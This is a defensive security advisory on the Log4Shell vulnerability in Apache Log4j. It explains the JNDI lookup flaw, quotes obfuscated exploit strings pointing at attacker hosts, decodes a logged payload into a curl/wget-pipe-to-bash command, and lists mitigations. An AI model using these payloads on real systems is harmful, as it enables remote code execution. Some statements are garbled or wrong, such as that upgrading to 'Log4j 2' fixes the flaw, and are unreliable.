Last week, Information Security Media announced that it discovered the critical vulnerability CVE-2021-44228 in the Apache Log4j library (CVSS severity 10/10). This threat, also known as Log4Shell or LogJam, is a vulnerability of the Remote Code Execution (RCE) class. An attacker who successfully exploited this vulnerability on a vulnerable server could execute arbitrary code and gain complete control over the system. It is dangerous because of the published proof-of-concept and easy-to-use vulnerabilities.
CVE-2021-44228 Technical details
CVE-2021-44228 Vulnerability remote code execution found in the Apache Log4j library- a part of the Apache Logging project. The vulnerability is likely to be exploited when a product uses a vulnerable version of this library with a JNDI module for logging purposes. Almost all versions of Log4j are vulnerable from 2.0-beta9 to 2.14.1.
Log4j contains a search mechanism to perform queries using special string format syntax. It means that different parameters can be queried, for example, the version of the Java environment via $ {java: version}. Then enter the JNDI key in the string, and the search engine will use the JNDI API. By default, all requests are made with the prefix java: comp / env /. However, the author implemented the ability to use a custom prefix with the colon for the keys. Here are the weak points. If jndi:ldap://is used as the key the request goes to the specified LDAP server. Other communication protocols such as LDAPS, DNS, and RMI are also used.
Security experts successfully monitored telemetry for activity exploiting vulnerability CVE-2021-44228 and extracted the URL used by the attacker. Important examples are below.
${jndi%3aldap%3a//0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160[.]149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC80NS41Ni45Mi4yMjk6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNDUuNTYuOTIuMjI5OjgwKXxiYXNo}
${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a}
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//62.182.80.168:1389/pien3m}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}${lower:a}${lower:p}}://67.205.191.102:1389/koejir}}
Based on the URL analysis they found how attackers attempted to embed payloads in rare fields such as; user agents, data fields, and URI parameters. Uploading into this box is an evasive technique that bypasses the simple lockdown measures that many organizations use to protect themself against this type of attack.
The following excerpt shows an exploitation attempt in HTTP server logs:
45.155.205[.]233:53590 server:80 – [10/Dec/2021:13:25:10 +0000] “GET / HTTP/1.1” 200 1671 “-“${jndi:ldap://45.155.205[.]233:12344/Basic/Command/Base64/[BASE64-code-removed]}”
The Base64 string in the above query is translated to:
(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80) | bash
This code takes the malicious script from 45.155.xxx.xxx then runs it with bash.
Thus, the remote server controlled by the attacker can send objects back to the vulnerable server to execute arbitrary code on the system to reveal sensitive data. The attacker must send a special string through a mechanism that writes this string to a log file that is processed by the Log4j library. This can be done as a simple HTTP request sent through a web form, data field, etc., or some other way to interact with the server-side logging.
CVE-2021-44228 Operating statistics
Honeypot data shows a total of 8,646 exploitation attempts between December 10 and 12 with 1,700 malicious requests per hour on December 11 at 12:00 GMT.
Impact
The Log4j 2 library is widely used in Java enterprise software. This method of distribution makes it difficult to measure the effect. As with other high-profile vulnerabilities like Heartbleed and Shellshock, we believe more vulnerable products will be discovered in the coming weeks. To the best of our knowledge, at least the following software may be impacted:
- Spring-Boot-starter-log4j2
- Apache Dubbo
- Apache Struts
- Apache Solr
- Apache Druid
- Apache Flink
- ElasticSearch
- Flume
- Logstash
- Kafka
Due to its ease of operation and long reach, it is suspected that ransomware attackers will soon exploit this vulnerability.
Suggestions
Urolime encourages all organizations to adopt an aggressive mindset and to check relevant request logs for unusual activity.
If a deviation is detected, we recommend that you assume that this is an active event and has been compromised and you should act accordingly.
Upgrading to Log4j 2 or a patched version of the affected program closes this vulnerability. Urolime recommends that you immediately update to a patched version if you think it may be affected.
The latest update from the Apache Log4j team recommends that businesses:
Upgrade to Log4j 2.16.0 (2.15.0 is susceptible to exploitation in non-default configurations that utilize the ThreadContext class with user-supplied input.)
For those who cannot upgrade to 2.16.0, in releases >=2.10, this vulnerability can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
If patching is not possible, it is highly advised organizations apply the temporary mitigation below and monitor impacted applications closely for anomalous behavior.
To mitigate the vulnerability, instead of updating Log4 2j, the following parameters should be set to true when starting the JVM (Java Virtual Machine):
log4j2.formatMsgNoLookups;
The presence of JAR files belonging to the log4j library can indicate an application is potentially susceptible to CVE-2021-44228. The specific files to search for should match the following pattern:
log4j-core-*.jar;
Depending on the installation method, the location of an appropriate JAR file may also indicate a potentially vulnerable application. For example, if the file is in C:\Program Files\ApplicationName\log4j-core-version.jar on Windows, it means the application name needs to be verified. On Linux, the lsof can display the processes that use the current JAR file and can be run using the following syntax:
lsof /path/to/log4j-core-version.jar;
Currently, the guidelines for recognizing regex signatures are too broad in public spaces and solutions have been developed to avoid them.
